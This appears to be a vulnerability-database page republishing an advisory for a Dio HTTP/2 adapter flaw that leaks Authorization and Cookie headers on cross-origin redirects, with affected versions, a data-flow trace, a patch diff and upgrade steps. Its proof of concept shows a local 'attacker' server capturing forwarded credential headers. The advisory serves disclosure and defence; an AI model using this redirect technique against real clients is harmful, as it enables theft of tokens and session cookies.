high · 7.5 Patched

Dio: Cross-origin redirect leaks sensitive request headers in `dio_http2_adapter`

CVE-2026-103030 · GHSA-cr65-55v9-xhvv · published 15 Oct 2026

How serious is it

  • Severity: high, CVSS score 7.5 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-103030?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • dio_http2_adapter (Pub) >= 1.0.0, <= 2.7.1

How to check

  1. Look for dio_http2_adapter in your lockfile and compare its version with the range above.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade dio_http2_adapter to 2.8.0 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

### Summary `dio_http2_adapter` follows HTTP `Location` redirects without stripping sensitive request headers when the redirect target is a different origin. An attacker who can cause any origin server to return a cross-origin `302` redirect receives the victim's `Authorization`, `Cookie`, and `Proxy-Authorization` headers verbatim. This vulnerability has a CVSS v3.1 base score of **7.5 (High)** because `followRedirects` is enabled by default, no authentication is required to exploit it, and the confidentiality impact is high. ### Details When `Dio` is configured to use `Http2Adapter`, the adapter's internal `_fetch` method constructs HTTP/2 request headers by unconditionally copying all entries from `options.headers`: ```dart // plugins/http2_adapter/lib/src/http2_adapter.dart:111 headers.addAll( options.headers.entries.map((entry) { ... return Header.ascii(entry.key.toLowerCase(), v); }).toList(), ); ``` On receiving a `3xx` response, the adapter reads the `Location` header and resolves the redirect target URI: ```dart // plugins/http2_adapter/lib/src/http2_adapter.dart:254-263 final url = responseHeaders.value('location'); final uri = Uri.parse(url ?? ''); final String path = resolveRedirectUri(options.uri, uri).toString(); return _fetch(options.copyWith(path: path, maxRedirects: --options.maxRedirects), ...); ``` `options.copyWith` is called without an explicit `headers` argument; `dio/lib/src/options.dart:629` therefore preserves the full original header map via `headers ?? Map.from(this.headers)`. `resolveRedirectUri` (`http2_adapter.dart:290`) returns an attacker-controlled cross-origin URI without any origin comparison. The combination means that on every redirect, the full set of original sensitive headers — including `Authorization`, `Cookie`, and `Proxy-Authorization` — is forwarded to the new authority with no sanitization. **Data flow (source → sink):** 1. `dio/lib/src/dio_mixin.dart:383` — public `Dio.request<T>(String path, ...)` entry point. 2. `dio/lib/src/options.dart:331` — base and per-request headers merged into `RequestOptions`. 3. `dio/lib/src/dio_mixin.dart:596` — `httpClientAdapter.fetch(reqOpt, ...)` dispatches to `Http2Adapter`. 4. `plugins/http2_adapter/lib/src/http2_adapter.dart:254` — `Location` header is read from the network response (attacker-controlled source). 5. `plugins/http2_adapter/lib/src/http2_adapter.dart:258` — redirect target URI resolved; cross-origin check absent. 6. `plugins/http2_adapter/lib/src/http2_adapter.dart:260` — `options.copyWith(path: path, ...)` called without `headers` override. 7. `dio/lib/src/options.dart:629` — `copyWith` preserves `Map.from(this.headers)` — all sensitive headers retained. 8. `plugins/http2_adapter/lib/src/http2_adapter.dart:111` — preserved headers emitted verbatim to the cross-origin HTTP/2 request (sink). **Suggested patch** — strip sensitive headers before following a cross-origin redirect: ```diff --- a/plugins/http2_adapter/lib/src/http2_adapter.dart +++ b/plugins/http2_adapter/lib/src/http2_adapter.dart + static const _sensitiveRedirectHeaders = { + 'authorization', + 'cookie', + 'proxy-authorization', + }; + - final String path = resolveRedirectUri(options.uri, uri).toString(); + final redirectUri = resolveRedirectUri(options.uri, uri); + final redirectOptions = options.copyWith( + path: redirectUri.toString(), + maxRedirects: --options.maxRedirects, + ); + if (!_sameOrigin(options.uri, redirectUri)) { + redirectOptions.headers.removeWhere( + (name, _) => _sensitiveRedirectHeaders.contains(name.toLowerCase()), + ); + } return _fetch( - options.copyWith(path: path, maxRedirects: --options.maxRedirects), + redirectOptions, list != null ? Stream.fromIterable(list) : null, cancelFuture, redirects, ); + + static bool _sameOrigin(Uri a, Uri b) => + a.scheme == b.scheme && a.host == b.host && a.port == b.port; ``` ### PoC The following steps reproduce the vulnerability using two local HTTP/2 cleartext (h2c) servers inside an isolated Docker container (no external network required). **Prerequisites:** - Docker installed and accessible. - Repository checked out at the path used as the build context. **Build and run:** ```bash # From the repository root (github_web_81_cfug__dio/) docker build -f vuln-001/Dockerfile -t dio-vuln-001:poc . docker run --rm --network none dio-vuln-001:poc ``` **What the container does:** 1. Starts an *origin* h2c server on `127.0.0.1:18081` that immediately returns `302 Location: http://127.0.0.1:18082/capture`. 2. Starts an *attacker* h2c server on `127.0.0.1:18082` that logs every received header. 3. Executes the following Dart exploit: ```dart final dio = Dio() ..httpClientAdapter = Http2Adapter(ConnectionManager()); await dio.get( 'http://127.0.0.1:18081/start', options: Options(headers: { 'Authorization': 'Bearer SECRET_TOKEN_12345', 'Cookie': 'sid=SECRET_SESSION_ABC', 'x-secret': 'internal-secret-value', }), ); ``` **Expected output (confirms vulnerability):** ``` RESULT=VULN_CONFIRMED LEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345 LEAKED_COOKIE=sid=SECRET_SESSION_ABC [ATTACKER] Received headers: [ATTACKER] authorization: Bearer SECRET_TOKEN_12345 [ATTACKER] cookie: sid=SECRET_SESSION_ABC [ATTACKER] x-secret: internal-secret-value ``` The attacker server at `127.0.0.1:18082` receives all three sensitive headers, demonstrating that `Http2Adapter` forwards them verbatim across the cross-origin redirect with no stripping. ### Impact This is a **sensitive information disclosure** vulnerability. Any application that: 1. configures `Dio` with `Http2Adapter`, and 2. sends requests carrying `Authorization`, `Cookie`, or `Proxy-Authorization` headers, is affected. Because `followRedirects` defaults to `true` and `maxRedirects` defaults to `5`, no additional configuration is ne…

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database. Last updated 23 Oct 2026. All vulnerabilities · RSS · JSON